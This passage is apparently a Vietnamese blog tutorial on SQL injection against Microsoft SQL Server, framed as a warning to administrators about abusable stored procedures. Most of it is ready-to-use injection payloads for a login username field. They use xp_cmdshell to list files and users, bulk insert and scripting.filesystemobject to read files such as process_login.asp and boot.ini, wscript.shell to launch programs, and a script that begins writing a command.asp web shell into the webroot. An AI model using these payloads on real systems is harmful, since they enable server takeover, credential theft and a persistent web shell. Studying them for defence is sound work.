**NHỮNG STORE PROCEDURE VÀ CÂU LỆNH HỆ THỐNG CÓ THỂ BỊ LỢI DỤNG:**

Những Store procedure và câu lệnh sql sau có thể sẽ là công cụ hữu ích cho kẻ phá hoại lợi dụng tấn công vào hệ thống của bạn

a/Kẻ phá hoại dùng **tore procedure** như xp\_cmdshell chẳng hạn để thực thi một câu lệnh command trên hệ thống

b/Dùng procedure xp\_regxxx để thao tác trên register của hệ thống bao gồm:  
 ***xp\_regaddmultistring  
xp\_regdeletekey  
xp\_regdeletevalue  
xp\_regenumkeys  
xp\_regenumvalues  
xp\_regread  
xp\_regremovemultistring  
xp\_regwrite***  
c/Dùng cú pháp “**bulk insert**” để đọc bất kỳ file nào trên hệ thống

d/Dùng câu lệnh “**bcp**” để tạo file nhị phân trên hệ thống  
…

Sau đây là một số ví dụ:

-Xem danh sách file hệ thống:  
Username: **‘; exec master..xp\_cmdshell ‘dir c:\ > c:\danhsachfile.txt’ –**

-Xem thông tin của user hệ thống(hoặc có thể tạo user nếu hệ thống cho phép)  
Username: **‘; exec master..xp\_cmdshell ‘net1 user’ –**

-Đưa một text file vào table  
Username: **‘; create table bangtam( line varchar(8000) ) –**

Sau đó đưa nội dung của textfile bất kỳ vào table  
Username: **‘; bulk insert bangtam from ‘c:\inetpub\wwwroot\process\_login.asp’ –Username: ‘; bulk insert bangtam from ‘c:\danhsachfile.txt’ –**

từ đó họ có thể xem được nội dung textfile (chẳng hạn nội dung của file process\_login.asp có chứa thông tin đăng nhập vào sql server gồm user sa và password hoặc danh sách các file nằm trên ổ đĩa c: trong file danhsachfile.txt)

-Hoặc cho thực thi chương trình notepad.exe  
Username: **‘; declare @o int exec sp\_oacreate ‘wscript.shell’, @o out exec sp\_oamethod @o, ‘run’, NULL, ‘notepad.exe’ –**

-Đọc nội dung textfile bất kỳ:  
**– scripting.filesystemobject example – read a known filedeclare @o int, @f int, @t int, @ret intdeclare @line varchar(8000)exec sp\_oacreate ‘scripting.filesystemobject’, @o outexec sp\_oamethod @o, ‘opentextfile’, @f out, ‘c:\boot.ini’, 1exec @ret = sp\_oamethod @f, ‘readline’, @line outwhile( @ret = 0 )beginprint @lineexec @ret = sp\_oamethod @f, ‘readline’, @line outend**

-Tạo file có thể thực thi câu lệnh dos thông qua web:  
***– scripting.filesystemobject example – create a command.asp file in webroot  
declare @o int, @f int, @t int, @ret int  
exec sp\_oacreate ‘scripting.filesystemobject’, @o out  
exec sp\_oamethod @o, ‘createtextfile’, @f out, ‘c:\inetpub\wwwroot\command.asp’, 1  
exec @ret = sp\_oamethod @f, ‘writeline’, NULL, ”***

-Và còn vô số những điều khác mà kẻ phá hoại có thể thao tác thông qua những store procedure và câu lệnh về hệ thống trong sql.

Qua đó bạn thấy rõ một điều chỉ là một lỗi nhỏ thôi mà hacker đã có thể hoàn toàn thao tác và thực được tất cả các lệnh trên database cũng như là server và chẳng những thế còn chiếm luôn quyền kiểm soát server của bạn. Vậy thì lỗi này đâu phải người quảng trị hệ thống gây ra.